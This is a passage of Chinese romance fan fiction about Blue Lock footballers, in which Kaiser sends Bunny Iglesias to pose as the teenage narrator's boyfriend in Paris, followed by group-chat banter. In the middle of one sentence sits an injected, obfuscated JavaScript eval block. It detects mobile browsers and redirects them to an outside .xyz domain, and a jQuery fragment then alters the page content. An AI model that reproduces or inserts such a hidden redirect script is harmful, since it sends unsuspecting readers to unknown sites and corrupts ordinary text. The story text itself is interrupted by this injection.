吃完饭,我们一起收拾了碗筷。玲王把玫瑰花瓶拿到客厅的茶几上,说还能再放两天。凪则捧着他的“小剪”,认真地给它浇了几滴水,又放回了阳台他能晒到太阳又能随时看到的地方。 我正想着要不要把剩下的慕斯蛋糕放进冰箱,凪却突然慢吞吞地走回了客厅,站在我面前,脸上带着一种罕见的、略显犹豫又有点期待的表情。 “……爱。”他叫了我一声。 “嗯?怎么了?”我抬头看他。 “……其实,”他顿了顿,像是下定了决心,“我还准备了一个……惊喜礼物。” 惊喜礼物?除了游戏机和棉花糖还有?我看着他微微泛红的耳根,以及那双不太敢直视我的黑色眼睛,心里突然升起一股不太妙的预感。 果然,只见凪从他那件宽松的睡衣口袋里,摸索着掏出了一个小盒子,递到我面前。 那盒子的大小和形状……怎么看都不像是装正经东西的! 我颤抖着手接过来,打开一看——里面赫然是一件极其省布料、面料轻薄如蝉翼、设计大胆火辣的……黑色蕾丝情趣内衣?! 轰——!我的脸颊瞬间爆炸般滚烫,差点把盒子扔出去! “凪、凪诚士郎!”我声音都变调了,“你、你你你……你这是从哪里学来的?!” 这家伙不是应该送游戏卡带或者懒人沙发吗?!这种成人尺度的东西是怎么回事?! 凪看着我爆红的脸,眨了眨眼,语气居然还挺无辜:“……网上说的。七夕节,要送……让伴侣开心的礼物。”他还认真地补充了一句,“……尺寸,我问了玲王。” 你还问了玲王?!我的目光瞬间射向旁边一直没说话的玲王! 只见玲王正抱着胳膊靠在墙边,脸上哪里还有刚才吃饭时被凪吐槽的郁闷,分明是一脸看好戏的坏笑,紫眸里闪烁着狡黠和“果然如此”的光芒。 “啊,没错,”玲王笑得像只偷腥的猫,慢悠悠地走过来,也从身后拿出了一个同样大小、同样可疑的盒子,“巧了,我也准备了一份‘惊喜’。” 他打开盒子,里面是一件同样火辣、但风格截然不同的——暗红色丝绸吊带睡裙,深V的设计,裙摆短得令人发指。 “怎么样?”玲王挑眉,语气充满了诱惑和自信,“我觉得红色更衬你。” 我看着眼前这两件加起来都没我一条手帕大的“礼物”,再看看面前一个一脸无辜纯良、一个一脸坏笑得意的男友,只觉得额头上的青筋都在欢快地跳动。 “……你们这两个家伙!”我忍无可忍地扶额吐槽,“脑子里整天都在想些什么啊!难道就不能和平地、单纯地享受一下假期时间吗?!非要把气氛往这种方向引?!” 玲王轻笑一声,伸手揽住我的腰,将我带向他,温热的气息拂过我的耳畔:“假期时间……不就是用来‘好好享受’的吗?”他的意有所指简直不能再明显。 另一边的凪也凑了过来,虽然没说话,但他那双总是显得困倦的眼睛此刻却亮晶晶的,像是看到了什么新奇有趣的玩具,还用手指轻轻勾了勾那件黑色蕾丝内衣的带子,表达了他的期待。 我被他们俩一左一右地夹在中间,面前是两份“沉重”的惊喜,脸颊烫得可以煎鸡蛋,心里那点关于“岁月静好”的幻想被击得粉碎。 好吧,看来七夕节的夜晚,注定是没法“和平”地度过了。 这两个精力过剩(或者说,在某些方面突然变得不节能)的足球运动员! 上帝啊,今晚的端水工程,恐怕是史上最艰难的一次! 53. 男友 什、什么…? 男…男朋友?! 这三个字像三颗炸雷,接连在我耳边轰然爆开,震得我耳膜嗡嗡作响,大脑瞬间一片空白,血液仿佛都凝固了。我甚至能感觉到自己脸上的血色“唰”地一下褪得干干净净,指尖冰凉。 我僵硬地站在原地,手里还拎着那几个沉甸甸的、装着给大胡子叔叔红酒和给洛基他们礼物的购物袋,像个被施了定身咒的傻瓜,目瞪口呆地看着那个自称是我“男朋友”的高大男人——邦尼·伊格莱西亚斯。他帽檐下的嘴角依旧勾着那抹似笑非笑的弧度,左眼下的十字疤痕在基地门口的阳光下若隐若现,带着一种诡异的、玩世不恭的魅力。 疯了吧?!凯撒到底跟他说了什么?!这就是他所谓的“帮忙”?派个人来冒充我男朋友?!这是什么地狱级别的烂主意?! “……哈?”旁边的大胡子叔叔显然也被这突如其来的“官宣”搞懵了,他铜铃般的眼睛在我和邦尼之间来回扫视,粗犷的脸上写满了巨大的问号和难以置信,他猛地扭头看向我,“小、小爱?这……这位先生说的是真的?他是你……男朋友?清田知道吗?!” 还没等我从石化中挣扎出来解释,我爸就猛地用手肘捅了捅我的胳膊,力道大得我差点把手里的袋子扔出去。他凑到我耳边,挤眉弄眼,声音压得低低却充满了抑制不住的兴奋和好奇,热气喷在我僵硬的耳朵上:“宝贝闺女!可以啊!什么时候交了个这么……呃……有特色的男朋友?还是外国人!嘿,这肌肉练得……块头都快赶上你老爸我年轻时候了!哪个队的?凯撒那臭小子给你介绍的?不应该啊,那小子醋劲儿那么大,不像能干出这种事儿的人……难不成是内斯?哎哟,亚历克西斯那孩子倒是贴心……” “爸!!!”我终于找回了自己的声音,几乎是尖叫着打断了他越来越离谱的猜测,脸颊因为羞愤和急迫瞬间爆红,烫得能煎鸡蛋,“你胡说什么呢!我根本不认识他!” “啊?不认识?”我爸愣了一下,眨眨眼,看看我,又看看对面那个笑得一脸“和蔼”的邦尼,脸上的表情更困惑了,“不认识人家能说是你男朋友?现在的年轻人都玩得这么开了吗?” 我简直要吐血了!而更让我绝望的是,大胡子叔叔在经历了最初的震惊后,似乎自行完成了逻辑闭环!他猛地一拍自己毛茸茸的大腿,发出“啪”的一声巨响,恍然大悟道:“哦——!我明白了!你就是清田之前跟我提过的那个……那个在日本的小男朋友对不对?哎呀!原来你已经追到巴黎来了?可以啊小子!有毅力!难怪小爱刚才在商场挑礼物的时候心不在焉的!” 我:“???” 我猛地扭头瞪向我爸,他却心虚地摸了摸鼻子,眼神飘忽地吹起了口哨,假装看天。 而那个罪魁祸首邦尼·伊格莱西亚斯,面对大胡子叔叔这完全跑偏的“认证”,非但没有澄清,反而顺势接下了话头!他对着大胡子叔叔露出了一个更加“灿烂”的笑容,白森森的牙齿在阳光下晃眼,用那带着西班牙腔调的英语无比自然地说道:“是啊,给她一个惊喜。希望没有打扰到您。” “不打扰不打扰!”大胡子叔叔立刻热情地摆手,一副“我懂的”样子,甚至还用胳膊肘捅了捅我爸,“你看人家年轻人多浪漫!清田,学着点!” 我爸:“哈哈!是啊是啊!” 我:“……”我感觉我快要窒息了!这个世界到底怎么了?! 就在我濒临社会性死亡边缘的时候,邦尼的目光再次落在我身上,他极其自然地向前走了两步,非常熟稔地——甚至带着点宠溺意味地——对我打了个招呼:“下午好,亲爱的。东西买好了?需要我帮你拿吗?” 亲、亲爱的?! 轰——!我感觉我的头顶都要冒烟了!血液疯狂地往脸上涌,心跳快得像是要从喉咙里跳出来!谁是你亲爱的啊!我们才第一次见面!连认识都谈不上! 凯撒!你这找的到底是什么品种的“帮手”啊?!你这家伙是戏剧学院毕业的吗?!还是说你实在人缘差到找不到正常人了,特地找了个敌方阵营的神经病过来搞死我?!你绝对是世界上最混蛋、最糟糕、最该被开除师籍的老师!没有之一! 我气得浑身发抖,舌头打结,一句话都说不出来,只能徒劳地瞪着他,用眼神传递我内心奔腾的一万头草泥马。 “哎呀,看看,小姑娘都害羞了!”大胡子叔叔在一旁笑得见牙不见眼,显然是误会了我这快要爆炸的状态是“羞涩”,“行了行了,清田,咱们别在这儿当电灯泡了!赶紧把东西拿进去!让小年轻们自己待会儿!” “对对对!”我爸连连点头,非常“识相”地从我手里接过那几个沉重的购物袋(当然,没忘了把他那瓶宝贝红酒紧紧抱在怀里),然后对我投来一个“老爸只能帮你到这了”的鼓励眼神,压低声音飞快地说,“闺女,先送完礼物再去跟你……呃……‘小男友’约会啊!注意安全!别回来太晚!” 说完,他就和大胡子叔叔勾肩搭背,有说有笑地朝着基地里面走去,留下我一个人在原地风中凌乱。 我……我简直想原地挖个坑把自己埋了! 解释?现在这种情况还怎么解释?!大胡子叔叔已经深信不疑,我爸也在那瞎起哄!如果我现在跳起来大喊“他不是我男朋友是凯撒派来恶作剧的”,且不说他们信不信,光是“凯撒”这个名字出现,就足以引发另一场无法预料的海啸了! 一想到凯撒那张写满“你敢说出去就死定了”的臭脸,我就一阵胆寒。难道……这就是他的计划?用这种离谱到极致的方式,既能“保护”我不受夏尔骚扰(?),又能把我置于另一种更可怕的尴尬境地,顺便还能远程看戏? 这个念头让我感到一阵深深的无力感和愤怒。但我不得不承认,以我对凯撒那恶劣性格的了解,这非常有可能!我要是现在拆穿,恐怕会死得更惨…… 忍……我忍!为了能活着离开巴黎,我忍了! 我深吸一口气,努力平复快要爆炸的情绪,强迫自己转过身,脸上挤出一个比哭还难看的笑容,对着那个依旧笑眯眯地看着我的邦尼,从牙缝里挤出几个字:“……你,跟我来。” 先送礼物!送完礼物再跟这个莫名其妙的家伙算账! 我几乎是同手同脚地朝着基地里面走去,感觉后背快要被邦尼那存在感极强的视线烧出两个洞来。他倒是很听话,迈着长腿,不紧不慢地跟在我身后一步远的地方,像个忠诚又可怕的守卫。 训练似乎刚刚结束,球员们正三三两两地从场地里走出来。我一眼就看到了那个显眼的古铜色身影和旁边那个金白挑染的脑袋——洛基和夏尔正站在一起说着什么。 太好了!正好一次性解决! 我硬着头皮,加快脚步朝他们走去。夏尔最先看到我,眼睛一亮,立刻扬起灿烂的笑容挥手:“姐姐!你来啦!”但他的笑容在看到我身后那个高大身影时,瞬间凝固了一下,金色的眼睛里闪过一丝好奇和警惕,“咦?这位是……?” 洛基也转过头,他的目光先是落在我身上,然后平静地移向我身后的邦尼,微微颔首致意,表情没什么变化,但眼神里带着一丝不易察觉的审视。 我的心跳得像擂鼓,脸上努力维持着镇定,赶紧从随身的小袋子里掏出那两个精心包装好的礼物盒,试图用最快的速度完成使命。 “洛基先生,这个……送给你。”我先将那个装着香水的细长盒子递给洛基,声音因为紧张而有点发干,“谢谢你之前的指导。一点心意,希望……希望你喜欢。” 洛基似乎愣了一下,没想到我会突然送他礼物。他接过盒子,看了一眼上面的logo,又抬眼看了看我,那双金色的眼眸里掠过一丝明显的讶异。他沉默了几秒,然后脸上缓缓绽开一个……堪称温和甚至有点不好意思的笑容?古铜色的脸颊上似乎还泛起了一丝极淡的红晕? “……香水?”他的声音听起来比平时柔和了些许,他低头看了看礼物,又抬眼看向我,眼神有些复杂,嘴角的弧度加深了,“谢谢。我很意外……我会好好考虑的。” 考虑?考虑什么?考虑用不用吗?这反应怎么有点怪怪的? 我还没来得及细想,旁边的夏尔就猛地倒吸一口凉气,像是发现了什么新大陆一样,眼睛在我和洛基之间来回扫视,最后用一种极其震撼的语气大声说道:“哇哦!姐姐!原来你喜欢黑皮款的啊?!虽然洛基确实很帅啦但是……” “夏尔!”洛基出声打断他,语气带着一丝无奈的警告,耳根似乎更红了一点。 我的脸颊也瞬间爆红!天啊!这都什么跟什么啊!我只是觉得香水很适合他沉稳的气质而已!怎么就被误解成这样了! “不是!你误会了!”我慌忙解释,但感觉越描越黑,赶紧把另一个印着甜品店logo的漂亮盒子塞进夏尔怀里,“这是给你的!马卡龙!堵住你的嘴!” 夏尔的注意力果然立刻被转移了,他惊喜地打开盒子,看到里面五颜六色、精致可爱的马卡龙,顿时笑得见牙不见眼:“哇!谢谢姐姐!姐姐最好啦!我最喜欢甜食了!”他拿起一个粉色的马卡龙就要往嘴里塞,完全忘了刚才的话题。 我松了口气,任务完成!此地不宜久留! “那、那个……你们慢慢吃!我先走了!”我丢下这句话,几乎是落荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251853|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而逃,转身一把拉住旁边看戏看得正津津有味的邦尼的胳膊,拽着他就往基地外面跑。 “姐姐再见!谢谢你的礼物!”夏尔含糊不清的声音从身后传来。 洛基似乎说了句什么,但我没听清,我只想赶紧离开这个是非之地! 我一直拉着邦尼跑到基地外面,拐进一条相对安静的街道,才气喘吁吁地松开手,撑着膝盖大口喘气。太刺激了!这礼物送得跟做贼一样! 缓过气来,我猛地抬起头,怒视着那个从始至终都保持着笑眯眯表情、任由我拉扯的男人。 “现在!立刻!马上!给我解释清楚!”我叉着腰,试图让自己看起来更有气势,尽管需要极力仰头才能对上他的视线,“你到底是谁?凯撒让你来干什么?还有!为什么要说那种离谱的谎话?!谁是你女朋友啊?!我们才第一次见面!” 邦尼·伊格莱西亚斯被我吼了,非但不生气,反而笑得更加“和蔼”了,甚至带着点……愉悦?他微微俯下身,凑近了些,帽檐下的阴影让他那道十字疤和那双含笑的眼眸显得更加清晰。 “嗯——问题真多啊,亲爱的。”他慢悠悠地开口,声音低沉带着磁性,却说着让我抓狂的话,“不过,一下子死掉好像也不错呢,能省去很多解释的麻烦。” 我:“???” 什、什么死掉?他在说什么鬼东西?! 看着我彻底懵掉的表情,他终于像是玩够了,稍微收敛了一点那令人毛骨悚然的笑容,但眼神里的玩味依旧不减。 “好吧好吧,开个玩笑。”他耸了耸肩,那动作让他宽阔的肩膀看起来更加惊人,“重新自我介绍一下,邦尼·伊格莱西亚斯,目前效力于巴萨FC。至于为什么来这里……” 他故意拖长了语调,像是回忆什么有趣的事情。 “接到凯撒那家伙的电话时,我也很惊讶呢。真是的,明明平时恨不得把所有竞争对手全都杀掉,居然会主动联系我,还是为了这种……嗯……‘保护小女孩’的任务。”他说着,自己都忍不住笑出了声,摇了摇头,“他说他在德国暂时脱不开身,这边有个很能惹麻烦的小学徒被一个更麻烦的小鬼缠上了,需要个人过来‘照看’一下,免得被不知天高地厚的小子占了便宜。报酬嘛……哼,倒是很诱人。” 他顿了顿,目光在我依旧写满震惊和不解的脸上扫过,嘴角勾起一个恶劣的弧度。 “所以,‘男朋友’这个身份,不是最方便快捷的吗?既能吓退苍蝇,又能省去很多不必要的解释。怎么样,我很聪明吧?虽然可能会被米歇尔那家伙记恨上,不过……好像也挺有趣的,不是吗?偶尔体验一下死亡的边缘感。” 我张着嘴,半天说不出一个字。 疯了。凯撒疯了。这个邦尼·伊格莱西亚斯也疯了。 用冒充男朋友的方式来“保护”我?!这到底是什么品种的脑回路?!而且听起来凯撒还付出了不小的代价?他到底许诺了什么给这个巴萨的前锋啊?! 还有这个邦尼!一口一个“死掉”“死亡的边缘感”,这家伙的精神状态真的正常吗?!凯撒到底是从哪个精神病院把他找来的?! 我感觉我的头开始隐隐作痛,一种深深的无力感席卷了全身。我原本以为凯撒已经是我认识的最麻烦、最不可理喻的人了,现在看来,真是天外有天,人外有人! “你……你们……”我指着他的手都在发抖,“你们简直……不可理喻!” “谢谢夸奖?”邦尼笑眯眯地接受了我的“赞美”,然后非常自然地指了指街角一家看起来很有情调的咖啡馆,“那么,‘亲爱的女朋友’,介意请你的‘临时男友’喝杯咖啡吗?我想我们需要好好‘磨合’一下,免得穿帮。毕竟,我看那位大胡子教练和你的父亲,似乎都很看好我们呢。” 他特意加重了“亲爱的女朋友”和“临时男友”这几个词,听得我眼皮直跳。 但我还能怎么办呢?事情已经发展到这一步了,就像一辆脱轨的火车,朝着不可预知的方向疯狂冲刺。我要是现在甩手走人,天知道这个神经病还会搞出什么幺蛾子! 我认命地叹了口气,感觉自己短短一天内苍老了十岁。 “……走吧。”我有气无力地说道,率先朝着那家咖啡馆走去。 邦尼·伊格莱西亚斯发出了一声轻快的低笑,迈着长腿,轻松地跟在我身边。 我的巴黎之旅,果然从一开始,就注定是一场灾难。而凯撒派来的这个“帮手”,无疑是将这场灾难推向了一个全新的、更加荒谬的高度。 上帝啊,如果我有罪,请让法律来制裁我,而不是派这些足球天才来折磨我的神经! 54. 定情信物 我不知道邦尼的饮食习惯,所以就让他自己点了。他拿着菜单,那双总是含着笑意的眼睛扫过一行行法文,左眼下的十字疤在咖啡馆柔和的灯光下显得没那么突兀,反而添了几分神秘的色彩。他手指点在一款名字花哨的咖啡上,对侍者说了句什么,发音流利,带着浓郁的西班牙腔调。 我则心不在焉地用手支着下巴,目光飘向窗外。巴黎的街景浪漫依旧,行人步履悠闲,可我却觉得坏事像滚雪球,一件接着一件,没完没了。凯撒这家伙,永远不按常理出牌,找来的“帮手”也是个思路清奇的怪人。冒充男朋友?亏他想得出来!这下好了,大胡子叔叔和我爸那边根本解释不清了。 “那么,亲爱的,你要喝点什么吗?”邦尼点完单,将菜单递还给侍者,然后非常自然地将那双带着笑意的眼睛转向我,语气熟稔得仿佛我们真是相识已久的情侣。 我被那声“亲爱的”叫得头皮发麻,没好气地回了一句:“随便吧。”我现在只想赶紧结束这诡异的“约会”,然后回酒店蒙头大睡,祈祷明天一切都能恢复正常。 邦尼挑了挑眉,似乎觉得我的反应很有趣。他对着侍者又低声补充了一句。没过多久,侍者端来了他的咖啡和一杯……看起来色彩缤纷、插着小纸伞和水果片的果汁?而且那杯子明显是那种给小朋友用的可爱的弧形杯! 那杯果汁被径直放在了我面前。 我盯着那杯幼稚得不行的饮料,又抬头看看对面那个笑眯眯地看着我、仿佛在等待表扬的一米九壮汉,一股无名火“噌”地就冒了上来。 “……这是什么?”我的声音几乎是从牙缝里挤出来的。 “果汁啊。”邦尼回答得理所当然,他甚至用指尖轻轻推了推杯底,让它更靠近我,“我看你好像没什么精神,补充点维生素C会比较好。这个口味酸酸甜甜的,应该会喜欢?” 喜欢个鬼!他这分明是把我当小孩哄了!我都十七岁了!在咖啡馆点果汁就算了,还是这种造型的!旁边那桌的情侣喝的可是红酒! 脸颊气得发烫,我狠狠瞪了他一眼,不想再跟他废话,干脆掏出手机,决定用吐槽来宣泄内心的愤懑。 点开和玲王、凪的三人小群,我手指飞快地敲击屏幕,自动过滤掉了“冒充男朋友”这个核弹级的关键词,只挑了些能说的部分抱怨。 【我:救命!巴黎这边遇到的怪人浓度是不是太高了点!】 【我:刚送完礼物,现在又被一个莫名其妙冒出来的家伙缠住了!非要请喝东西!】 【我:结果给我点了杯果汁!还是带小纸伞的那种!把我当三岁小孩吗?![气到变形.jpg]】 消息刚发出去没多久,就有了回复。 【玲王:???又是谁?PXG的人?上次你说的那个夏尔·希瓦利埃?】 【玲王:我就知道!那小子一看就不安好心!爱,你现在在哪?安全吗?要不要我打电话给清田叔叔?】 【凪:果汁……不好喝吗?有点羡慕……蓝色监狱只有功能饮料……好麻烦……】 【凪:不过带小纸伞……是有点过分了……爱,需要我帮你远程吐槽他吗?虽然好麻烦……】 看着他们迅速响应,尤其是玲王那几乎要溢出屏幕的担忧,我心里稍微舒服了一点。果然,幼驯染才是最可靠的! 【我:不是夏尔……是另一个……唉,一言难尽。】 【我:暂时还算安全,就在基地附近的咖啡馆。我爸和大胡子叔叔他们好像已经默认了……默认了这家伙是……呃……我的朋友。(难以启齿】 【玲王:朋友?什么朋友?男的女的?怎么认识的?清田叔叔怎么就默认了?!】 【凪:……直觉告诉我,事情不简单。麻烦度升级了。】 我想着该怎么含糊过去,正按着语音键,对面的邦尼忽然开口了,他似乎完全不在意我全程冷着脸玩手机的态度,依旧笑眯眯的:“怎么样,果汁味道还行吗?不喜欢的话,可以再换别的。毕竟,照顾‘女朋友’的口味是男朋友的职责所在嘛。” 他的声音不大,但在相对安静的咖啡馆里显得格外清晰!尤其是“女朋友”和“男朋友”这几个词,简直像惊雷一样炸响! 我吓得手一抖,差点把手机扔进果汁杯里!猛地抬头,用杀人的目光瞪向他,无声地传递着“闭嘴”的讯息。 邦尼接收到了我的眼刀,非但不收敛,反而笑得更加愉悦,甚至还对我眨了眨眼,一副“我懂,要保密”的表情。 懂你个头啊!我简直要抓狂了! 手机嗡嗡震得更厉害了。肯定是玲王他们听到了刚才的动静!撤回也来不及了! 果然。 【玲王:!!!爱!我刚才好像听到男人的声音了?!说什么女朋友男朋友?!到底怎么回事?!】 【凪:……听到了。确实是男声。还说‘女朋友’。爱,你被威胁了吗?】 【玲王:地址发我!我现在就想办法联系法国这边的人!】 完了!越描越黑了! 我赶紧打字回复:【没有没有!你们听错了!是旁边桌的人在说话!】 【我:真的!就是个莫名其妙自来熟的家伙!我已经在想办法摆脱他了!】 发完这句,我立刻切出了聊天界面,感觉再聊下去玲王真的会直接报警或者杀到巴黎来。 心好累。我需要换个吐槽对象。 我戳开了和内斯的私聊窗口。内斯性格温柔,或许能给我一点正常的安慰? 【我:内斯![哭哭脸.jpg]】 【我:凯撒他……他叫来的到底是个什么品种的怪人啊?!】 【我:他居然在咖啡馆里当着我的面大声说什么‘女朋友’‘男朋友’!还给我点了一杯像儿童饮料一样的果汁!】 【我:我现在尴尬得能用脚趾抠出整个PXG的训练基地!凯撒是不是故意整我啊?!】 内斯回复得很快,语气一如既往地充满歉意和担忧。 【内斯:爱!你还好吗?!∑(口||】 【内斯:邦尼先生他……确实有时候会有些……嗯……出人意料的行为和发言……】 【内斯:但我相信他没有恶意的!凯撒找他也是因为……因为邦尼先生实力很强,而且……呃……某种程度上,很擅长应对各种突发状况?】 【内斯:果汁的事……他可能只是觉得那样比较可爱?对不起爱,让你困扰了!】 【内斯:凯撒那边……他刚刚心情好像好了一点,但听说邦尼先生已经到了并且……开始执行‘任务’后,好像又把新手机屏给捏裂了……】 捏裂了手机屏?看来凯撒对自己找来的这个“帮手”的行事风格也不是完全满意嘛!活该!让他乱找人! 但内斯的解释丝毫没能安慰到我。“出人意料”?“擅长应对突发状况”?这确定不是火上浇油的代名词吗?还有,觉得果汁可爱?邦尼·伊格莱西亚斯的大脑构造果然异于常人! 越想越气,我忍不住直接点开了和凯撒的聊天界面——用的是那个他刚告知我的新号码。怒火战胜了恐惧,我今天必须问个明白! 【我:米歇尔·凯撒!】 【我:你派来的那个邦尼·伊格莱西亚斯!他是不是这里有点问题?![指着脑袋的手势]】 【我:他居然在公共场合大声说是我男朋友!还给我点儿童果汁!这就是你说的‘帮忙’?!你是嫌我不够麻烦吗?!】 【我:你从哪里找来的这种奇葩?!巴塞罗那的精神病院吗?!】 消息发出去,如同石沉大海,半天没有回应。就在我以为他又在装死的时候,手机终于震动了一下。 【凯撒:哦。】 就一个“哦”?!这是什么态度! 我气得正要继续输出,他的下一条消息慢悠悠地跟了过来。 【凯撒:效果达到了就行。过程不重要。】 【凯撒:还是说,小学徒,你更喜欢被那个PXG的小鬼缠着?】 【凯撒:果汁挺适合你的。】 最后一句简直是精准踩雷! 【我:效果达到个鬼!现在所有人都误会了!包括我爸和大胡子教练!】 【我:而且我不喜欢果汁!更不喜欢被当成小孩子!】 【我:你赶紧让他走!立刻!马上!】 【凯撒:呵。人我已经请来了,费用也付了。用不用,怎么用,是我的事。】 【凯撒:你就乖乖配合演出吧,小学徒。还是说……你想让我亲自过来‘指导’你怎么应对?】 又是这种威胁!我简直能想象出他此刻在屏幕那头挑眉冷笑的恶劣模样! 跟他根本说不通!这个人永远只按自己的逻辑行事,完全不管别人的死活! 我绝望地放下手机,感觉自己就像掉进了一个由凯撒亲手编织的、充满恶趣味的蜘蛛网里,越挣扎缠得越紧。 就在这时,对面的邦尼慢条斯理地喝完了他的咖啡,放下杯子,发出轻微的磕碰声。他看着我一副生无可恋的样子,脸上的笑容丝毫未减,甚至更加“和蔼”了。 “看来,‘男朋友’的突然出现给你带来了不少困扰?”他语气轻松,仿佛在谈论今天天气不错,“不过,我看效果似乎还不错?至少,那个精力过剩的小子没再突然冒出来往你身上扑了,不是吗?” 我愣了一下,下意识地环顾四周。确实,夏尔·希瓦利埃那个显眼包今天下午居然真的没出现。难道……邦尼这离谱的“冒充男友”计划,歪打正着地起了点作用? “所以,”邦尼身体微微前倾,手肘撑在桌面上,那双带笑的眼睛看着我,抛出另一个更加意义不明的提议,“如果你不介意的话,晚饭也可以找我。我知道几家很不错的餐厅,可以请你吃。” 我彻底懵了。这家伙到底想干嘛?尽职尽责到还要包办晚餐?凯撒到底付了他多少钱?还是说……他本身就乐在其中? “不、不用了!”我立刻拒绝,声音都有些变调,“我晚饭和我爸一起吃!” “这样啊,真遗憾。”邦尼耸耸肩,从口袋里掏出手机看了一眼时间,“那么,作为你今天的‘临时男友’,我的任务暂时告一段落。需要我送你回酒店吗?或者,你需要我继续‘扮演’到什么程度,可以随时告诉我。毕竟,拿人钱财,与人消灾。虽然偶尔体验一下被米歇尔追杀的感觉也不错。” 他又开始说那些让人听不懂的、“死啊活啊”的话了! “不用送!我自己能回去!”我抓起背包,几乎是弹跳着站起来,“再见!不,最好别再见了!” 说完,我头也不回地冲出了咖啡馆,仿佛后面有洪水猛兽在追。 一直跑到离咖啡馆足够远的距离,我才放缓脚步,心有余悸地回头看了一眼。邦尼没有跟出来。我长长地松了一口气,感觉像是打了一场硬仗。 拿出手机,看着那几个吵翻天的聊天群,特别是和凯撒那令人火大的对话,一个念头突然冒了出来。 不行,不能就这么算了。我得找个地方集中吐槽这两个混蛋!而且,既然凯撒把邦尼这尊“大佛”请来了,总不能让我一个人承受这一切! 我果断创建了一个新的群聊,手指飞快地把内斯和凯撒拉了进来。想了想,又把邦尼那个刚加上没多久、头像是一片漆黑仿佛祭奠的账号也拖了进去。 新的三人小群……不对,是四人小群。 看着空荡荡的群名,我冷笑一声,手指飞快地敲下几个字,作为对这个诡异组合的最终定义—— 【群名:凯撒和他的精神病友交流群】 很好,非常贴切。 我刚把群名改好,还没来得及发送第一条控诉信息,手机就疯狂震动起来。 【内斯:诶诶诶?!爱?这个群是?!邦尼先生?!凯撒?![震动.jpg]】 【邦尼:嗯?新群?真是有趣的展开。看来今晚不会无聊到想死了。】 【凯撒:……清田爱。你最好给我解释一下,这个见鬼的群名是什么意思。】 看着屏幕上瞬间弹出的消息,尤其是凯撒那条几乎能透过屏幕感受到杀气的质问,我非但没有害怕,反而产生了一种破罐破破摔的快感。 很好,人都齐了。 地狱模式的巴黎之旅,现在才真正开始。 不过这群名还是有些不完美啊…… 【群名:凯撒和他的病友交流群(内斯除外)】 哼哼,完美。我满意地看着新群名,这下精准多了。内斯顶多算个被恶劣国王荼毒的小可怜,跟凯撒和邦尼这两个真正意义上的“病友”还是有本质区别的。 果然,群名刚改完,手机就像抽风一样疯狂震动起来,提示音密集得如同暴雨砸在铁皮屋顶上。 【凯撒:……清田爱。你胆子真是越来越大了。】 【邦尼:哦呀?我被归入‘病友’行列了吗?真是令人愉悦的分类啊,感觉离死亡的美妙滋味又近了一步呢。】 【内斯:爱!凯撒!邦尼先生!这、这个群……我、我需要做些什么吗?(;ω;)】 【凯撒:内斯,闭嘴。】 【邦尼:亚历克西斯君,放轻松,享受这场由你亲爱的表妹掀起的、通往地狱的茶会就好。】 【凯撒:邦尼,你也闭嘴。想死我现在就可以成全你。】 【邦尼:呵呵,求之不得。来自米歇尔的终结,想必会是一场绚烂的死亡盛宴吧?】 眼瞅着对话朝着更加诡异血腥的方向一路狂奔,我果断点击了群消息免打扰,世界瞬间清静了。 让他们自己吵去吧!本人不奉陪了! 身心俱疲地回到酒店,我只想立刻瘫倒在床上,用睡眠遗忘这糟心的一切。然而,刚走到我爸房间门口,就听到里面传来一阵异常热闹的喧哗声,似乎不止他一个人。 我心头顿时升起一股不祥的预感,蹑手蹑脚地凑近房门,试图听清里面的动静。 “……所以那小子真是小爱的男朋友?哪队的?实力怎么样?配得上我们家小爱吗?”这是大胡子叔叔洪亮的大嗓门。 “哎呀,年轻人自己喜欢就好嘛!我看那小子块头挺足,像个踢后卫的好料子!就是脸上那疤有点唬人……”这是我爸那看热闹不嫌事大的声音。 “伊戈尔!你这当爹的能不能上点心!哪能光看块头!”大胡子叔叔听起来比我爸还着急,“小爱呢?赶紧叫她过来问问清楚啊!” “问了问了,小姑娘脸皮薄,不好意思说!不过我看那小子挺护着她的,刚才在基地门口,那眼神,啧啧,跟我当年追美纪的时候有得一拼!” 我的脸颊瞬间爆红,脚趾头尴尬地抠地。爸!你在胡说八道什么啊!还有大胡子叔叔,您怎么也跟着起哄! 不行,此地不宜久留!趁他们还没发现我,赶紧溜回自己房间! 我屏住呼吸,踮起脚尖,像只偷油的小老鼠一样,贴着墙根小心翼翼地往自己房间挪动。 眼看就要成功抵达安全区,隔壁房间的门“咔哒”一声,突然打开了! 一个金白挑染的脑袋探了出来,夏尔·希瓦利埃那双金色的眼睛瞬间锁定了鬼鬼祟祟的我,脸上立刻绽放出一个巨大又灿烂、带着十足狡黠的 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夏尔像条泥鳅一样挤了进来,顺手关上门,然后非常自然地靠在了门板上,堵住了我的退路,脸上挂着看热闹不嫌事大的灿烂笑容。 四双眼睛,八道目光,齐刷刷地盯在我身上,充满了各种意味——好奇、八卦、审视、还有夏尔那种纯粹的“看好戏”。 我的脸颊烫得能煎鸡蛋,心脏咚咚直跳。承认那是假的?现在?当着这么多人的面?说我被凯撒坑了,找了个神经病来冒充我男朋友?且不说他们信不信,光是解释清楚凯撒为什么这么做,就足以引发另一场海啸了!而且……我都已经忍辱负重地配合演出了,现在才来否认,之前的尴尬岂不是白受了? 不!不行!罪都遭了,脸都丢了,现在否认,血亏! 豁出去了! 我深吸一口气,强行压下心底的羞耻和慌乱,努力挤出一个看似镇定(实则僵硬)的笑容,硬着头皮开口,声音都有点发飘:“就……就那么回事呗……没什么好说的……” “哎呀,这叫什么话!”大胡子叔叔第一个不答应,“那可是终身大事!怎么能没什么好说的!他哪个队的?踢什么位置?人品怎么样?对你好不好?” “巴、巴萨FC的……前锋……”我眼神飘忽,不敢看他们。 “巴萨FC?!”大胡子叔叔声音猛地拔高,眼睛瞪得像铜铃,“拉□□奥那个队?好家伙!还是前锋!可以啊小爱!眼光不错!居然能从拉维那小子眼皮子底下撬人?” 我爸也来了兴趣:“巴萨的前锋?叫什么?说不定我认识?” “邦、邦尼·伊格莱西亚斯……”我的声音越来越小。 